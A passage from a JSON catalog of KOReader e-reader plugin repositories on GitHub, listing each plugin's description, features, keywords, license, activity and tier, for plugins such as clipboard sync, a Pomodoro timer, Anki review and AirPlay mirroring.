iPad","Android","自建服务器(可选)","-p2k:手机 → Kindle(Phone to Kindle)","-k2p:Kindle → 手机(Kindle to Phone)","把插件文件夹拷到 KOReader 插件目录,重启","菜单 → Clipboard sync → Settings → Topic,填一个随机主题名(如 my-clip-a7x9k2)","手机装 ntfy App,订阅 -k2p 频道接收 Kindle 推送","手机建一个快捷指令,POST 剪贴板到 https://ntfy.sh/ -p2k 发送给 Kindle","Kindle 菜单 → Pull from device 拉取"],"keywords":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","koreader-user-patch","ntfy","clipboardsync","iphone","ipad","kindle","android","clipboard","device","http","https","my-clip-a7x9k2-p2k","post","sync","pull","body","github","my-clip-a7x9k2","philipp","push"],"topics":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","koreader-user-patch"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:01:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":12198,"detail":"detail/Estela-Zelin84__clipboardsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Estela-Zelin84/tomatodo.koplugin","owner":"Estela-Zelin84","repo":"tomatodo.koplugin","url":"https://github.com/Estela-Zelin84/tomatodo.koplugin","description":"专为电子墨水屏阅读器打造的番茄工作法计时器 | 阅读时后台计时·专注休息循环·任务管理·热力图统计","purpose":"让 Kindle / Kobo 变身专注阅读利器。阅读时后台静默计时，专注结束全屏遮罩提醒休息，休息结束自动进入下一轮。设备休眠后断点恢复，关机再开机也不丢进度。 可在 KOReader 手势设置中绑定以下动作： 直接覆盖 `tomatodo.koplugin` 目录，重启 KOReader 即可。数据文件（设置 / 任务 / 统计）独立存储，升级不会丢失。","categories":["misc"],"features":["经典专注-休息循环：25分钟专注 + 5分钟短休息，每4个番茄后15分钟长休息","后台运行：阅读时计时器持续工作，无需停留在插件界面","专注结束自动弹出全屏黑底白字休息遮罩，含倒计时和随机休息建议","休息结束自动开始下一轮专注（可配置）","支持随时跳过当前阶段","创建阅读任务，如「读完第五章」「看30分钟《三体》」","为每个任务设定目标番茄数","专注完成自动累计任务进度，达标自动标记完成","设为「当前任务」后，专注会自动关联到该任务","支持标记完成、删除、清除已完成任务"],"keywords":["todo","tomatotodo","tomatodo","kindle","kobo","gpl-3","android"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T08:52:32Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5914,"detail":"detail/Estela-Zelin84__tomatodo.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Euphoriyy/pencil.koplugin","owner":"Euphoriyy","repo":"pencil.koplugin","url":"https://github.com/Euphoriyy/pencil.koplugin","description":"Koreader plugin that allows users to use a stylus to take notes in Epubs.","purpose":"This has been tested on: This will currently only work on Kobo devices! I will attempt to add other device support by request and at a later date","categories":["notes"],"features":["Kobo Libra Colour/Kobo Stylus 2/Epub format","Pen tip: Draw annotations on your ebooks","Eraser end: Flip your stylus over to erase strokes instantly","Undo: Undo your last stroke or eraser action","Per-document storage: Annotations are saved with each book","Replace the /frontend/device/input.lua with the downloaded file. This enables the plugin to intercept the stylus input, separate…","Enable the plugin within KOReader's plugin management","Optionally set tool toggle to a gesture within Gesture Manager","Annotation color selection","Export of annotations of some kind"],"keywords":["allows","stylus","take","notes","epubs","pencil","information","instructions","configuring","questions","issues","pipeline","acknowledgements","eraser","annotations","input","book","directory","kobo","device","enable","file","gesture","issue"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-02-25T05:43:30Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1834,"detail":"detail/Euphoriyy__pencil.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fahim-ahmed05/koreader-plugin-screenlock","owner":"fahim-ahmed05","repo":"koreader-plugin-screenlock","url":"https://github.com/fahim-ahmed05/koreader-plugin-screenlock","description":"Simple KOReader plugin that adds a password prompt when the device wakes from sleep.","purpose":"This plugin adds a simple pin-based lock screen to KOReader.","categories":["device","notes"],"features":["Lock KOReader with a password","Automatically locks after device suspend / resume","Optional blank (white) screen to hide document contents","On-screen password keyboard","Menu actions for locking and password management","Start (or restart) KOReader","Open the KOReader menu and select ScreenLock","Open the KOReader menu","Go to ScreenLock","Select Lock now"],"keywords":["koreader","koreader-plugin","simple","adds","password","prompt","device","wakes","sleep","screenlock","lock","screen","change","behavior","notes","preview","limitations","menu","open","select","automatically","contents","files","only"],"topics":["koreader","koreader-plugin"],"stars":1,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-01-01T13:55:08Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1515,"detail":"detail/fahim-ahmed05__koreader-plugin-screenlock.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fvelsg/autosuspend-fork.koplugin","owner":"fvelsg","repo":"autosuspend-fork.koplugin","url":"https://github.com/fvelsg/autosuspend-fork.koplugin","description":"This is an alternative to the default autosuspend plugin with some changes to make the disable function works properly on kindles","purpose":"This is an alternative to the default autosuspend plugin with some changes to make the disable function works properly on kindles","categories":["misc"],"features":[],"keywords":["alternative","default","autosuspend","some","changes","make","disable","function","works","properly","kindles","autosuspend-fork","files","original"],"topics":[],"stars":1,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-02-27T11:24:37Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":455,"detail":"detail/fvelsg__autosuspend-fork.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gytwo/annotationsviewer.koplugin","owner":"gytwo","repo":"annotationsviewer.koplugin","url":"https://github.com/gytwo/annotationsviewer.koplugin","description":"annotationsviewer","purpose":"This plugin scans KOReader's stored annotations (highlights and notes) and provides a single unified interface to browse, filter and manage them across all books you've read.","categories":["notes"],"features":["Aggregates highlights and notes from KOReader","Shows book title, date, chapter, highlighted text and any user note for each annotation","Lets you open the source book at the annotated location","Edit or delete annotations, change highlight style or color","Extensive annotations filtering system enabling filtering by highlight color, style, books,tags, chapters, words in highlights…","Caching annotations for faster loading","Configure font sizes, margins, truncation length and many more display options from the plugin Settings menu for lots of…","Unified view of all annotations across books","Pagination for long annotation lists","Pagination customisation"],"keywords":["annotationsviewer","annotations","viewer","all","notes","highlights","book","highlight","color","style","text","annotation","note","settings","books","change","delete","edit","margins","menu","open","across","back","browse"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-06-10T09:30:43Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2148,"detail":"detail/gytwo__annotationsviewer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"HaukeCornell/mtastop.koplugin","owner":"HaukeCornell","repo":"mtastop.koplugin","url":"https://github.com/HaukeCornell/mtastop.koplugin","description":"A native Lua plugin for KOreader that displays real-time MTA bus arrivals. Optimized for Kindle e-ink displays.","purpose":"A native Lua plugin for KOreader that displays real-time MTA bus arrivals and local weather. Optimized for Kindle e-ink displays.","categories":["misc"],"features":["Real-time SIRI API: Live bus arrival data with \"stops away\" tracking","Dynamic Weather: Displays outside temperature (°C) in the top-right corner using Open-Meteo","Orientation Independent: Works in Portrait and Landscape (uses KOreader's system rotation)","Auto-Refresh: Updates every 60 seconds","Clean UI: Minimalist design focused on readability","Customizable: Change stops and API key in settings/mtastop.lua","Native KOreader Plugin: No external dependencies. Supports KOreader's built-in rotation and dark mode","Secure: API key stored in a separate settings file","Access via Tools > MTA Bus Stops","Run the plugin once to generate the settings file"],"keywords":["native","lua","displays","real-time","mta","bus","arrivals","optimized","kindle","e-ink","stop","configuration","api","key","required","ids","interaction","credits","settings","stops","file","mtastop","rotation","change"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-31T21:19:53Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1735,"detail":"detail/HaukeCornell__mtastop.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"heredos/vnds.koplugin","owner":"heredos","repo":"vnds.koplugin","url":"https://github.com/heredos/vnds.koplugin","description":"a koreader plugin that lets you play vnds games","purpose":"a koreader plugin that lets you play vnds games just clone this repo into your koreader's plugin folder. once installed there will be a menu entry to launch the VNDS folder picker, just pick the folder of the game you want.","categories":["games"],"features":["[ ] FIX BUGS (please help me by reporting any you might find)","[ ] load game ressources from zip","[ ] a better game picker (with a menu showing the thumbnail, title and description of the game)","[ ] sound hacks for devices that could support it","[ ] preview of the screen on save/load screen"],"keywords":["lets","play","vnds","games","todo","decreasing","priority","order","disclaimer","game","software","folder","being","have","just","load","menu","might","picker","probably","responsible","screen","fix","bugs"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-10T13:18:00Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1365,"detail":"detail/heredos__vnds.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"HighLibrarian/BookKeeper.koplugin","owner":"HighLibrarian","repo":"BookKeeper.koplugin","url":"https://github.com/HighLibrarian/BookKeeper.koplugin","description":"a KoReader plugin that sends reading stats through a webhook.","purpose":"A KOReader plugin that sends your reading statistics to a webhook, perfect for integrating with Home Assistant, Node-RED, Obsidian, or any automation platform that accepts JSON payloads.","categories":["ui","reading"],"features":["📊 View reading statistics: Today, week, month, and custom-range reading activity","🔗 Webhook integration: Send stats via HTTP/HTTPS POST to any endpoint","📶 Auto WiFi management: Optionally enable WiFi for sync, then restore previous state","🔐 Custom authentication: Support for Bearer tokens and custom headers","⚡ Automatic triggers: Send on document close or device suspend","Kindle: /mnt/us/koreader/plugins/","Kobo: /.adds/koreader/plugins/","Android: /sdcard/koreader/plugins/","Find the plugin under Menu → More tools → Bookkeeper","KOReader with the Statistics plugin enabled"],"keywords":["sends","reading","stats","through","webhook","bookkeeper","configuration","option","yaml","recommended","requirements","statistics","custom","folder","menu","send","wifi","view","today","week","month","custom-range","activity","integration"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T15:45:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2096,"detail":"detail/HighLibrarian__BookKeeper.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hluiz2628-blip/biscoitodasorte.koplugin","owner":"hluiz2628-blip","repo":"biscoitodasorte.koplugin","url":"https://github.com/hluiz2628-blip/biscoitodasorte.koplugin","description":"(v1.2.0) Biscoito da Sorte: exibe frases inspiradoras no KOReader, online (APIs, apenas em inglês) ou offline (frases locais, apenas em português). | Fortune Cookie plugin: displays inspirational quotes in KOReader, online (APIs, english only) or offline (local phrases, portuguese only).","purpose":"Plugin para KOReader que exibe frases inspiradoras no estilo biscoito da sorte. Desenvolvido com o auxílio do DeepSeek. Testado no Kindle Basic 2022.","categories":["device"],"features":["Frases online via APIs gratuitas (sem autenticação)","Fallback para frases locais quando offline","Arquivo frases.txt personalizável","Ativação/desativação de APIs individuais","Toque em Abrir biscoito para ver uma frase","No diálogo, use Novo para outra frase, Fechar para sair","Em Frases locais pode restaurar o padrão, ver ou adicionar frases","ZenQuotes, Quotable, Advice Slip – ativadas/desativadas em Configurar APIs","Suporte a novos idiomas","Integração com mais APIs gratuitas"],"keywords":["koreader-plugin","koreader","koreader-kindle","koreader-plugins","biscoito","sorte","exibe","frases","inspiradoras","online","apis","apenas","ingl","offline","locais","portugu","fortune","cookie","displays","inspirational","quotes","english","only","local"],"topics":["koreader-plugin","koreader","koreader-kindle","koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T12:15:05Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2061,"detail":"detail/hluiz2628-blip__biscoitodasorte.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hongducdev/doconline.koplugin","owner":"hongducdev","repo":"doconline.koplugin","url":"https://github.com/hongducdev/doconline.koplugin","description":"","purpose":"Plugin đọc báo online cho KOReader với hỗ trợ nhiều nguồn tin Việt Nam. Plugin hỗ trợ các danh mục sau từ VNExpress:","categories":["ui","web"],"features":["📰 Đọc tin tức từ VNExpress","📱 Giao diện thân thiện, dễ sử dụng","🔄 Tự động tải và phân tích RSS feeds","📖 Đọc nội dung bài viết đầy đủ","🗂️ Hỗ trợ nhiều danh mục tin tức","Khởi động lại KOReader","Vào Menu → More tools → Đọc Báo Online","Chọn nguồn tin (hiện tại: VNExpress)","Chọn danh mục","Đọc tin!"],"keywords":["online","vnexpress","categories","ngu","tin","module","base","class","sources","lua","http","utils","components","requirements","todo","danh","dung","article","feeds","html","text","trong","giao","thi"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-05T14:44:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3607,"detail":"detail/hongducdev__doconline.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hudsonbrendon/anki.koplugin","owner":"hudsonbrendon","repo":"anki.koplugin","url":"https://github.com/hudsonbrendon/anki.koplugin","description":"KOReader plugin to create and review Anki cards while reading, via AnkiConnect over the LAN","purpose":"KOReader plugin that lets you create Anki cards while reading and review due cards on your Kindle (or any KOReader device), talking to desktop Anki over the LAN through the AnkiConnect addon.","categories":["dict","device"],"features":["Create — \"Add to Anki\" appears in the highlight menu and the dictionary lookup","Review — the Anki menu offers Review due cards: it pulls the deck's due and","USB: mount the device and copy to / /koreader/plugins/","SSH: scp -r the folder to /mnt/us/koreader/plugins/ (path may vary)","Tools → Add-ons → AnkiConnect → Config, set it to accept LAN connections","Review shows all is:due and new (is:new) cards for the deck, bypassing Anki's","Cards render as plain text reduced from Anki's HTML — no card CSS, images, or audio","The dictionary-popup \"Add to Anki\" button depends on your KOReader version; if it does","Review is online-only; card creation works offline via the queue"],"keywords":["anki","ankiconnect","kindle","koreader","lua","plugin","spaced-repetition","create","review","cards","while","reading","via","over","lan","works","desktop","setup","configuration","known","limitations","development","settings","menu"],"topics":["anki","ankiconnect","kindle","koreader","lua","plugin","spaced-repetition"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-05T01:30:40Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3753,"detail":"detail/hudsonbrendon__anki.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"iav/taskscheduler.koplugin","owner":"iav","repo":"taskscheduler.koplugin","url":"https://github.com/iav/taskscheduler.koplugin","description":"Generic KOReader scheduler: run any bindable action on a timer or device events (sleep, Wi-Fi connect). Automates manual-only plugins. Distributed via the App Store.","purpose":"A generic scheduler for KOReader. You pick a set of actions — the same ones you can bind to a key or a gesture — and it runs them automatically on triggers:","categories":["device"],"features":["Timer — wake the device from sleep on an interval and run the actions","On sleep — run them as the device goes to sleep (a catch-up for the timer)","On Wi-Fi connected — run them when the network comes up","(more device events to come)","Every trigger is throttled. A trigger means \"check if it's due\", not \"run now\"","Nothing runs while you're reading. Work happens around sleep, or on a self-wake","Long tasks are handled. For actions that take minutes (a full sync), the device","Off until configured. Installing it does nothing until you pick actions and a"],"keywords":["kindle","koreader","koreader-plugin","scheduler","generic","run","any","bindable","action","timer","device","events","sleep","wi-fi","connect","automates","manual-only","distributed","via","app","store","task","behaves","picker"],"topics":["kindle","koreader","koreader-plugin","scheduler"],"stars":1,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-12T22:54:13Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2178,"detail":"detail/iav__taskscheduler.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"iceyear/mopowen","owner":"iceyear","repo":"mopowen","url":"https://github.com/iceyear/mopowen","description":"Energy saving patch for KOReader-Android-Mobiscribe.","purpose":"This KOReader plugin enhances battery life on Mobiscribe e-readers by implementing an adaptive deep sleep mechanism. Unlike the original nopowen script that uses fixed sleep delay, this enhanced version dynamically adjusts the sleep timing based on your actual reading patterns.","categories":["misc"],"features":["🔄 Dynamic Sleep Timing: Learns your reading speed and adjusts accordingly","🔋 Battery Optimization: Extends battery life to thousands of page turns per charge","📖 Seamless Experience: Maintains screen contents during sleep, waking instantly when you turn pages","🧠 Reading Pattern Detection: Automatically detects fast page flipping vs. careful reading","🔍 Adaptive Algorithm: Uses exponential moving average to smooth transitions between different reading patterns","⚡ Performance Optimized: Uses integer milliseconds instead of floating-point seconds for better efficiency","🗃️ Settings Cache: Reduces system calls with intelligent caching of Android settings","📊 Resource Management: Minimizes memory usage and CPU load with optimized algorithms","Connect your Mobiscribe to a computer or other ways to access the file system"],"keywords":["e-ink","ebook","ebook-reader","eink","eink-devices","koplugin","koreader","koreader-plugin","mobiscribe","energy","saving","koreader-android-mobiscribe","dynamic","sleep","overview","background","works","configuration","performance","optimizations","check","working","known","limitations"],"topics":["e-ink","ebook","ebook-reader","eink","eink-devices","koplugin","koreader","koreader-plugin","mobiscribe"],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-04-09T07:33:27Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":7500,"detail":"detail/iceyear__mopowen.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"iddu01linux/kohome.koplugin","owner":"iddu01linux","repo":"kohome.koplugin","url":"https://github.com/iddu01linux/kohome.koplugin","description":"A Plugin for KOReader to expose Home Assistant's Assist functionality, letting you use Assist while reading.","purpose":"A Plugin for KOReader to expose Home Assistant's Assist functionality, letting you use Assist while reading. Say you are reading a book, and want to turn on a light, but do not want to reach for your phone to distract yourself from the amazing book you are reading. With KOHome, you can turn on that light without being…","categories":["ai","notes"],"features":["Click the green <> Code button on this page, and click \"Download ZIP\"","Navigate to where you downloaded the ZIP > Right click it and select \"Extract\"","Go into the extracted folder until you see a folder named kohome.koplugin > Enter that folder","With your preferred Code editor / Text editor, open the main.lua file. You do not need to use a code editor, but it may make this…","Open your preferred browser, and go to your Home Assistant URL. From there, click your profile > Security, scroll down to…","Go to Developer Tools > Actions > Set the Action to Conversation: Process and click the checkbox next to Agent. Select your agent…","Back in your Code / Text editor, find the following lines: local token = \"LONGLIVEDACCESSTOKEN\" local url =…","Save the file, and connect your KOReader device to your computer. Copy the kohome.koplugin directory from before to the…"],"keywords":["expose","home","assistant","assist","functionality","letting","while","reading","kohome","setup","notes","click","agent","code","token","conversation","copy","editor","local","device","folder","generative","google","text"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-14T14:06:25Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2220,"detail":"detail/iddu01linux__kohome.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"imnotjames/grimmory.koplugin","owner":"imnotjames","repo":"grimmory.koplugin","url":"https://github.com/imnotjames/grimmory.koplugin","description":"","purpose":"Read your books from Grimmory, sync your shelves, and track reading progress automatically. Download the [latest release][latest-plugin] file and extract it to your KOReader plugin folder. Then, restart KOReader.","categories":["misc"],"features":[],"keywords":["grimmory","updating","latest","latest-plugin","alpha","bugs","download","folder","restart","software","sync","tools","under","updater","updates"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-13T11:16:25Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1188,"detail":"detail/imnotjames__grimmory.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Inku0/lazierlibrarian.koplugin","owner":"Inku0","repo":"lazierlibrarian.koplugin","url":"https://github.com/Inku0/lazierlibrarian.koplugin","description":"KOReader plugin for adding books to LazyLibrarian and downloading them","purpose":"KOReader plugin for adding books to LazyLibrarian and downloading them Hacked together from the Z-lib KOReader plugin: https://github.com/OctoNezd/zlibrary.koplugin/","categories":["misc"],"features":["Create a file named ll.conf in KOReader's root directory (probably at /mnt/onboard/.adds/koreader)","The conf file must contain two lines -- URL and KEY"],"keywords":["adding","books","lazylibrarian","downloading","them","lazierlibrarian","configuration","conf","file","create","named","root","directory","probably","mnt","onboard","adds","must","contain","two","lines","url","key"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-20T18:02:45Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":445,"detail":"detail/Inku0__lazierlibrarian.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"isaachsanu/jsonviewer-koplugin","owner":"isaachsanu","repo":"jsonviewer-koplugin","url":"https://github.com/isaachsanu/jsonviewer-koplugin","description":"Koreader Plugin - Showing json data from given URL","purpose":"","categories":["web"],"features":[],"keywords":["showing","json","data","given","url"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-07-30T02:06:02Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","stub"]},{"id":"jadehawk/bookorbit.koplugin","owner":"jadehawk","repo":"bookorbit.koplugin","url":"https://github.com/jadehawk/bookorbit.koplugin","description":"Standalone distribution and discoverable by KOReader plugin catalogs such as Storefront.","purpose":"This repository is the automated distribution mirror for the BookOrbit KOReader plugin. Its purpose is to make the plugin available as a standalone distribution and discoverable by KOReader plugin catalogs such as Storefront and Appstore.","categories":["ui"],"features":["Reads PLUGIN_VERSION from the released plugin's main.lua","Refuses to publish if that plugin version already has a release tag here, requiring PLUGIN_VERSION to be bumped before the next…","Runs the complete KOReader Lua test suite from the same BookOrbit release with Lua 5.1","Copies the released generic plugin source into this repository","Verifies that no embedded BookOrbit configuration or credentials are present","Builds bookorbit.koplugin.zip with bookorbit.koplugin/ as the archive root","Commits the synchronized source and creates the matching vX.Y.Z GitHub Release with the ZIP attached"],"keywords":["koreader-plugin","standalone","distribution","discoverable","catalogs","such","storefront","bookorbit","recommended","alternative","manual","automated","synchronization","repository","github","released","source","workflow","changes","checks","code","configuration","copy","developed"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T00:35:27Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3208,"detail":"detail/jadehawk__bookorbit.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jadehawk/libby-dashboard.koplugin","owner":"jadehawk","repo":"libby-dashboard.koplugin","url":"https://github.com/jadehawk/libby-dashboard.koplugin","description":"KOReader plugin for browsing Libby loans, downloading EPUB/PDF books, and managing Adobe/ByteBooks authorization.","purpose":"Libby Dashboard is a self-contained KOReader plugin for browsing and reading supported loans from libraries linked to a Libby account. It brings the loan shelf directly to the e-reader instead of requiring a separate computer for normal borrowing and fulfillment.","categories":["ai","files"],"features":["Open Libby Dashboard from KOReader's Tools menu and complete Libby Setup and Adobe/ByteBooks Setup","Boox Go 7 Gen 2","Kindle Paperwhite Signature Edition (12th Gen)","Kobo Clara BW","Authenticates with Libby using Libby's device setup-code flow","Displays all linked library cards, plus a combined All shelf","Presents loans in a configurable cover grid with a selected-book details panel","Shows title, author, series information, format, lending library, and remaining loan time when available","Supports Adobe/ByteBooks authorization, including ByteBooks username/password authorization and portable Adobe authorization…","Registers as an ACSM handler, so supported external .acsm files can also be fulfilled and opened through the plugin"],"keywords":["koreader-plugin","browsing","libby","loans","downloading","epub","pdf","books","managing","adobe","bytebooks","authorization","dashboard","tested","devices","does","book","handled","accounts","storage","development","ai-assisted","disclaimer","links"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-17T02:25:18Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6460,"detail":"detail/jadehawk__libby-dashboard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jan-herz/sudoku.koplugin","owner":"jan-herz","repo":"sudoku.koplugin","url":"https://github.com/jan-herz/sudoku.koplugin","description":"Play touch-friendly Sudoku puzzles on KOReader, resume later - with color support","purpose":"This plugin brings a straightforward Sudoku experience to KOReader so you can solve puzzles while reading. Forked to add several QoL improvements:","categories":["games"],"features":["Multiple difficulty levels","Controls optimized for touch","Automatic progress saving","True RGB32 color support for color E-Ink displays (red errors, customizable active cell background)","Optional auto-remove notes feature (clears from row/col/box)","Faux-bold styling for given numbers to improve contrast on high-DPI screens","Automatic portrait mode lock during gameplay (restores previous orientation on exit)","Clean, centered status bar without coordinates","Highlight selected number across the board","Grey out numbers that are complete"],"keywords":["play","touch-friendly","sudoku","puzzles","resume","later","color","credits","appel","assistance","automatic","foundation","great","improvements","magyar","mapp","numbers","original","multiple","difficulty","levels","controls","optimized","touch"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-03-04T20:07:20Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1394,"detail":"detail/jan-herz__sudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"JayBigGuy10/AO3Downloader.koplugin","owner":"JayBigGuy10","repo":"AO3Downloader.koplugin","url":"https://github.com/JayBigGuy10/AO3Downloader.koplugin","description":"","purpose":"An unofficial KOReader plugin to download and read works hosted on Archive Of Our Own, mainly just a personal project since it was something I wanted so it's really messy. The plugins menu is found under the search tab in the top menu on the second page only while the filemanager is open.","categories":["ui"],"features":["Browse and download from AO3 by either a singular tag or a detailed filter","Update and delete downloaded works from the download menu","Open downloaded works via the plugins menu to automatically track read chapters and open works at certain chapters","Search for and open users profiles and download the users works, series, bookmarks and gifted works","Profiles can also be open from the work search results menu by tapping the author category","~~Support using a AO3 account~~ - done","~~Commenting and giving kudos to works right from the plugin~~ - done","~~View all the works by a certain author~~ - done","Show tag bookmarks in the filter tag search menus","Search by tags by both tapping on them in the fanfic browser menu and tapping the tags link within the epub itself"],"keywords":["want","work","quick","search","filter","menu","downloaded","works","profile","open","download","tapping","certain","done","fanfic","link","series","tags","author","bookmarks","chapters","file","profiles","read"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-17T03:03:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2438,"detail":"detail/JayBigGuy10__AO3Downloader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"je09/kindle-koreader-airplay","owner":"je09","repo":"kindle-koreader-airplay","url":"https://github.com/je09/kindle-koreader-airplay","description":"Airplay Reciever for the KOReader on Kindle","purpose":"A KOReader plugin that turns your Kindle into an AirPlay screen mirror receiver. Your Mac thinks the Kindle is a display. The Kindle renders the stream on its e-ink screen at ~0.5–2 FPS in grayscale.","categories":["device"],"features":["Jailbroken Kindle with KOReader installed","Wi-Fi, on the same network as your Mac","dist/airplay.koplugin to /Volumes/Kindle/extensions/koreader/plugins/","Connect Kindle and Mac to the same Wi-Fi network","In KOReader: Menu → Tools → AirPlay Mirror → Start AirPlay receiver","On Mac: System Settings → Displays → Add Display → AirPlay Display","Select \"Kindle AirPlay\" from the list","That's it","0.5 FPS (2000 ms) — least ghosting, default","1 FPS (1000 ms) — faster, more ghosting"],"keywords":["airplay","kindle","koreader-plugin","reciever","kindle-koreader-airplay","does","requirements","refresh","rate","options","known","limitations","credits","e-ink","receiver","display","grayscale","mirror","screen","uxplay","audio","epdc","ghosting","gplv3"],"topics":["airplay","kindle","koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-30T12:48:27Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":2782,"detail":"detail/je09__kindle-koreader-airplay.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"joemk88/customisablesleepscreen.koplugin","owner":"joemk88","repo":"customisablesleepscreen.koplugin","url":"https://github.com/joemk88/customisablesleepscreen.koplugin","description":"Fork of pxlflux's Customisable Sleep Screen: live image export while reading with a Bigme-safe staging+copy write, plus auto cover fill colour and vertical cover alignment.","purpose":"A fork of pxlflux/customisablesleepscreen.koplugin that refreshes the exported sleep-screen image as you read, and writes it in a way that e-ink standby/screensaver apps — notably Bigme — actually pick up. The result is a live, always-current cover/stats image on the lock screen of Android e-ink devices, without…","categories":["ui","files","reading","notes"],"features":["It's stale. The exported image reflects wherever you were when you last","The device won't refresh it. Bigme's standby/screensaver app caches the","Live export while reading. The image updates continuously, not just on book","Every page turn (debounced) — freshest","Every 1% of progress — lighter on long books","Every X minutes — tap the option to set an interval, 1–30 (default 5)","Bigme-safe writes (staging + copy). Each frame is encoded to an internal","Flexible export target. The export path can be a folder (writes","Auto fill colour from cover. Automatically picks a black or white background","Vertical cover alignment. Cover alignment now covers both axes —"],"keywords":["fork","pxlflux","customisable","sleep","screen","live","image","export","while","reading","bigme-safe","staging+copy","write","plus","auto","cover","fill","colour","vertical","alignment","compatibility","note","bigme","android"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-16T11:41:10Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6057,"detail":"detail/joemk88__customisablesleepscreen.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jorrhe/cwabd.koplugin","owner":"jorrhe","repo":"cwabd.koplugin","url":"https://github.com/jorrhe/cwabd.koplugin","description":"Home of the KOReader Calibre Web Automated Book Downloader plugin","purpose":"Disclaimer: This plugin was creating forking the wonderful KOReader Z-library Plugin, 95% of the work was made by it's 